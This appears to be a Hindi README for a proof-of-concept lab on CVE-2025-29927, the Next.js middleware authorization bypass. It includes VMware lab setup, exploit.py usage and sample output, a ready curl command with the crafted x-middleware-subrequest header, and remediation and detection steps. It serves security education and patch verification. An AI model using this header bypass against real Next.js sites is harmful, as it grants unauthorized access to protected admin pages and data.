
CVE-2025-29927 के लिए प्रूफ-ऑफ-कॉन्सेप्ट एक्सप्लॉइट, जो Next.js मिडलवेयर प्राधिकरण बायपास है। इसमें एक कमजोर टारगेट लैब और Python स्क्रिप्ट शामिल है, जो क्राफ्टेड x-middleware-subrequest हेडर भेजकर बायपास को सत्यापित करती है।
एक स्थानीय प्राधिकरण लैब (VMware: Ubuntu टारगेट मशीन + Kali अटैक मशीन) पर CVE-2025-29927 (Next.js Middleware Authorization Bypass) सत्यापित करने के लिए एक छोटा GitHub प्रोजेक्ट।
⚠️ अस्वीकरण: यह प्रोजेक्ट केवल सुरक्षा शिक्षा, CTF और आपके अपने/स्पष्ट रूप से अधिकृत लैब वातावरण के लिए है। किसी भी अनधिकृत सिस्टम पर उपयोग सख्त वर्जित है। इस प्रोजेक्ट के दुरुपयोग से होने वाले परिणामों की जिम्मेदारी उपयोगकर्ता की होगी।
| आइटम | विवरण |
|---|---|
| CVE | CVE-2025-29927 |
| सार्वजनिक तिथि | 2025-03-25 (Next.js आधिकारिक सुरक्षा बुलेटिन) |
| प्रभावित घटक | Vercel Next.js (Node.js फुल-स्टैक फ्रेमवर्क) |
| भेद्यता प्रकार | प्राधिकरण बायपास / Improper Authorization (CWE-863) |
| प्रभावित संस्करण | < 12.3.5、< 13.5.9、< 14.2.25、< 15.2.3 |
| सुधार संस्करण | 12.3.5 / 13.5.9 / 14.2.25 / 15.2.3 और उससे ऊपर |
| खतरा स्तर | Critical / उच्च जोखिम (विशिष्ट स्कोर NVD पेज देखें) |
भेद्यता सामने आने के बाद बड़ी संख्या में प्रोडक्शन एडमिन पैनल, पेमेंट कॉलबैक और आंतरिक पेज API बायपास हो गए। Metasploit और ProjectDiscovery Nuclei दोनों ने डिटेक्शन मॉड्यूल शामिल किए हैं, जो 2025 के सबसे प्रतिनिधि "फ्रेमवर्क-स्तरीय प्राधिकरण बायपास" भेद्यताओं में से एक है।
Next.js "प्रमाणीकरण लॉजिक" को middleware (मिडलवेयर) में लिखने की अनुमति देता है, उदाहरण के लिए:
export function middleware(request) {
if (!isLogin(request)) return NextResponse.redirect("/login"); // लॉगिन नहीं → रोकें
return NextResponse.next();
}
समस्या यह है कि Next.js आंतरिक रूप से एक क्लाइंट द्वारा जाली बनाए जा सकने वाले रिक्वेस्ट हेडर पर निर्भर करता है ताकि यह निर्धारित किया जा सके कि "क्या यह रिक्वेस्ट पहले ही मिडलवेयर निष्पादित कर चुका है":
x-middleware-subrequest: middleware
प्रभावित संस्करणों में, जब तक बाहरी रिक्वेस्ट इस आंतरिक हेडर को ले जाती है, Next.js गलती से मान लेता है कि मिडलवेयर पहले ही चल चुका है,
इसलिए पूरा प्रमाणीकरण मिडलवेयर स्किप हो जाता है। हमलावर को किसी खाते की आवश्यकता नहीं होती, बस इस हेडर के साथ
/admin जैसे संरक्षित रूट तक पहुंचने पर सीधे 200 मिलता है — जबकि पेज स्वयं आमतौर पर मिडलवेयर पर भरोसा करता है और दोबारा सत्यापन नहीं करता,
इस प्रकार प्राधिकरण जांच विफल हो जाती है (ट्रस्ट बाउंड्री त्रुटि)।
💡 सार्वजनिक शोषण में सबसे सामान्य मान मिडलवेयर पथ को बार-बार जोड़ने का रूप है, उदाहरण के लिए
middleware:middleware:middleware:middleware:middleware; एकलmiddlewareकुछ संस्करणों/निर्देशिका संरचनाओं में काम नहीं करता (इस लैब में 14.2.24 पर परीक्षण किया गया)। यह PoC कई उम्मीदवार मानों को पोल करेगा, किसी एक के हिट होने पर बायपास सफल होगा।
CVE-2025-29927-PoC/
├── README.md # यह दस्तावेज़ (भेद्यता विवरण + VMware लैब ट्यूटोरियल)
├── LICENSE # MIT
├── .gitignore
├── exploit.py # ★ Python3 शुद्ध मानक लाइब्रेरी सत्यापन PoC (Kali/किसी भी मशीन पर चलाएं)
├── target/ # ★ स्व-निर्मित भेद्यता लैब (Ubuntu टारगेट मशीन पर कॉपी करें)
│ ├── package.json # [email protected] लॉक (प्रभावित संस्करण)
│ ├── middleware.js # वास्तविक प्रोडक्शन "प्रमाणीकरण मिडलवेयर" का अनुकरण
│ ├── pages/
│ │ ├── index.js # होम पेज
│ │ ├── login.js # लॉगिन पेज (प्रदर्शन के लिए यहां रीडायरेक्ट होता है)
│ │ └── admin.js # ★ संरक्षित एडमिन पैनल, सर्वर-साइड flag.txt पढ़ता है
│ ├── flag.txt # लैब फ्लैग: FLAG{...}
│ ├── setup.sh # टारगेट मशीन पर एक-क्लिक Node 20 + npm install + build
│ └── start.sh # प्रोडक्शन मोड में 0.0.0.0:3000 पर सुनें
└── tests/
└── mock_target.py # Node-मुक्त सिम्युलेटेड टारगेट (केवल डेवलपमेंट स्व-परीक्षण के लिए)
┌───────────────────────────────────────────────────────────┐
│ VMware Workstation Pro 17 (होस्ट: Windows) │
│ नेटवर्क: NAT (डिफ़ॉल्ट VMnet8), दोनों VM एक ही सबनेट, पिंग कर सकते हैं │
│ │
│ ┌──────────────────┐ ┌─────────────────────┐ │
│ │ टारगेट Ubuntu 24.04 │ │ अटैक Kali Linux │ │
│ │ │ http │ │ │
│ │ Node 20 + Next │◄───────│ python3 exploit.py │ │
│ │ 14.2.24 :3000 │ GET │ │ │
│ └──────────────────┘ └─────────────────────┘ │
│ IP: <TARGET_IP> IP: <ATTACKER_IP> │
└───────────────────────────────────────────────────────────┘
| उद्देश्य | इमेज/सॉफ्टवेयर | अनुशंसित संस्करण |
|---|---|---|
| वर्चुअल मशीन सॉफ्टवेयर | VMware Workstation Pro 17 (व्यक्तिगत उपयोग के लिए निःशुल्क) | 17.x |
| टारगेट मशीन इमेज | Ubuntu Server LTS ISO | 24.04.x |
| अटैक मशीन | Kali Linux (आधिकारिक VMware प्रीसेट इमेज या ISO इंस्टॉल) | 2025.x |
| (वैकल्पिक) | होस्ट मशीन पर 8 GB से अधिक RAM, 50 GB से अधिक डिस्क | — |
निम्नलिखित चरण सभी Ubuntu टारगेट मशीन पर निष्पादित करें।
# तरीका A: प्रोजेक्ट को अपने GitHub पर पुश करके clone करें (अनुशंसित, GitHub पर पुश करना हो तो यही उपयोग करें)
git clone https://github.com/<आपका उपयोगकर्ता नाम>/CVE-2025-29927-PoC.git
cd CVE-2025-29927-PoC
# तरीका B: होस्ट से scp करें
# scp -r CVE-2025-29927-PoC ubuntu@<TARGET_IP>:~/
cd CVE-2025-29927-PoC/target
sudo bash setup.sh # Node 20(LTS) + npm install + next build इंस्टॉल करें
setup.sh आंतरिक रूप से करता है: apt अपडेट → curl/CA/build टूल इंस्टॉल → NodeSource से
Node.js 20 LTS इंस्टॉल → npm install ([email protected] आदि निर्भरताएं लाएं) → npm run build।
bash start.sh
# "▲ Next.js 14.2.24" और "Local: http://0.0.0.0:3000" दिखे तो सफल
एक और टर्मिनल खोलकर पहले स्थानीय स्मोक टेस्ट करें:
curl -s http://127.0.0.1:3000 # होम पेज, 200
curl -s -o /dev/null -w "%{http_code}\n" http://127.0.0.1:3000/admin
# अपेक्षित आउटपुट 307 —— बिना कुकी के middleware द्वारा रोका गया (प्रमाणीकरण सामान्य रूप से काम कर रहा है)
curl -s http://127.0.0.1:3000/admin # body देखें, रीडायरेक्ट के बाद लॉगिन पेज की सामग्री होनी चाहिए
टारगेट मशीन फ़ायरवॉल डिफ़ॉल्ट रूप से इनबाउंड को नहीं रोकता; यदि आपने ufw चालू किया है:
sudo ufw allow 3000/tcp।
sudo apt update
python3 --version # Kali में Python3 पहले से है, कोई अतिरिक्त निर्भरता नहीं (PoC शुद्ध मानक लाइब्रेरी)
ip -4 addr show # Kali का IP नोट करें (जैसे 192.168.x.xxx)
exploit.py को Kali पर लाएं (उसी रिपॉजिटरी का clone, या scp द्वारा एकल फ़ाइल), फिर पहले दोनों VM की
कनेक्टिविटी सुनिश्चित करें:
ping <TARGET_IP> # चले तो ↓
curl -s -o /dev/null -w "%{http_code}\n" http://<TARGET_IP>:3000 # 200 आउटपुट होना चाहिए
Kali अटैक मशीन पर निष्पादित करें:
python3 exploit.py -u http://<TARGET_IP>:3000
[1/3] बेसलाइन जांच GET /admin (कोई विशेष हेडर नहीं)
└─ स्थिति कोड 307 —— middleware द्वारा सामान्य रूप से रोका गया ✓ (भेद्यता वातावरण तैयार)
[2/3] बायपास प्रयास x-middleware-subrequest: <उम्मीदवार मान पोल>
└─ हेडर मान='middleware:middleware:middleware:middleware:middleware' स्थिति कोड 200 —— बायपास सफल! मिडलवेयर स्किप हो गया ✓
[3/3] परिणाम निकालना
└─ एडमिन पेज ने सर्वर-साइड flag.txt पढ़ा:
FLAG{cve-2025-29927-lab-ok}
[+] निष्कर्ष: VULNERABLE —— CVE-2025-29927 प्राधिकरण बायपास सत्यापन सफल
मुख्य निर्णय: एक ही URL, बिना विशेष हेडर के 307 द्वारा रोका जाता है, x-middleware-subrequest
के साथ सीधे 200 मिलकर एडमिन पैनल तक पहुंचता है — एक पूर्ण "प्रमाणीकरण मिडलवेयर बायपास" सत्यापन लूप।
# ① बेसलाइन: 307 वापस आना चाहिए (/login पर रीडायरेक्ट)
curl -i http://<TARGET_IP>:3000/admin | head -n 10
# ② शोषण: 200 वापस आना चाहिए और FLAG{...} शामिल होना चाहिए
curl -i -H 'x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware' \
http://<TARGET_IP>:3000/admin | head -n 30
📌 परीक्षण नोट: इस लैब (Next 14.2.24 + रूट डायरेक्ट्री
middleware.js) में, 5-गुना मानmiddleware:middleware:middleware:middleware:middlewareप्रभावी है, एकलmiddlewareप्रभावी नहीं है। curl से मैन्युअल परीक्षण के लिए ऊपर दिया 5-गुना मान उपयोग करें; अनिश्चितता होने परexploit.pyचलाएं (उम्मीदवार मानों का स्वचालित पोल)।
usage: exploit.py [-h] -u URL [--path PATH] [--timeout SECONDS]
[--delay SECONDS] [--insecure] [--verbose]
-u, --url URL लक्ष्य पता, जैसे http://192.168.162.10:3000
--path PATH संरक्षित पथ, डिफ़ॉल्ट /admin
--timeout SECONDS एकल रिक्वेस्ट टाइमआउट, डिफ़ॉल्ट 10
--delay SECONDS हेडर उम्मीदवार मानों के पोल के बीच अंतराल, डिफ़ॉल्ट 0
--insecure HTTPS प्रमाणपत्र सत्यापन छोड़ें
--verbose प्रत्येक उम्मीदवार हेडर का रिस्पॉन्स स्थिति प्रिंट करें, डिबगिंग के लिए
एग्जिट कोड: 0 = भेद्यता सत्यापित; 1 = लक्ष्य प्रभावित नहीं/सभी रिक्वेस्ट विफल; 2 = पैरामीटर या पर्यावरण त्रुटि
VMware न हो/पहले Node इंस्टॉल न करना चाहें, तो रिपॉजिटरी में शामिल सिम्युलेटेड टारगेट से PoC लॉजिक पहले चला सकते हैं (होस्ट पर केवल Python3 चाहिए, "307 इंटरसेप्ट / विशेष हेडर के साथ 200" व्यवहार का अनुकरण):
# टर्मिनल 1: सिम्युलेटेड टारगेट शुरू करें (127.0.0.1:8123 पर सुनें)
python3 tests/mock_target.py
# टर्मिनल 2: सत्यापन
python3 exploit.py -u http://127.0.0.1:8123
# अपेक्षित: VULNERABLE और FLAG{mock-bypass-ok} आउटपुट
नोट: सिम्युलेटर केवल स्क्रिप्ट लॉजिक के स्व-परीक्षण के लिए है; आधिकारिक सत्यापन कृपया धारा 5 और 6 के वास्तविक लैब पर करें।
npm i [email protected] (या 15.2.3+ / संबंधित नया संस्करण), फिर से build और डिप्लॉय करें;getServerSideProps / Route Handler / बैकएंड API में दोबारा पहचान सत्यापन करें;x-middleware-subrequest हेडर को हटा दें।# Nuclei आधिकारिक टेम्पलेट
nuclei -u http://<TARGET_IP>:3000 -t http/cves/2025/CVE-2025-29927.yaml
अपग्रेड के बाद इस PoC को फिर से चलाएं, "लक्ष्य प्रभावित नहीं" आउटपुट होना चाहिए — यही सुधार से पहले/बाद की तुलना की स्वीकृति विधि है।
| समस्या | कारण / समाधान |
|---|---|
next start पोर्ट व्यस्त बताता है | lsof -i :3000 से व्यस्त प्रोसेस ढूंढें, या -p 3001 उपयोग करें |
curl http://<TARGET_IP>:3000 कनेक्ट नहीं होता | दोनों VM एक ही NAT सबनेट में नहीं हैं; VMware नेटवर्क एडेप्टर दोनों NAT हैं यह जांचें, ip a से सबनेट पुष्टि करें |
/admin बेसलाइन ही 200 है | middleware प्रभावी नहीं: middleware.js target/ रूट में है और setup.sh बिल्ड सफल हुआ यह सुनिश्चित करें |
| बायपास हेडर आज़माया फिर भी 307 | विभिन्न संस्करण/निर्देशिका संरचना में प्रभावी मान अलग होता है: पहले python3 exploit.py --verbose चलाकर पोल परिणाम देखें; curl मैन्युअल परीक्षण के लिए 5-गुना मान middleware:middleware:middleware:middleware:middleware उपयोग करें |
| Kali Ubuntu को पिंग नहीं कर पाता | VMware NAT में डिफ़ॉल्ट रूप से संचार होता है; फिर भी न हो तो दोनों मशीनों के फ़ायरवॉल और स्नैपशॉट रिस्टोर जांचें |
| दूसरा Next संस्करण सत्यापित करना चाहते हैं | target/package.json में next संस्करण बदलकर npm install && npm run build फिर से चलाएं |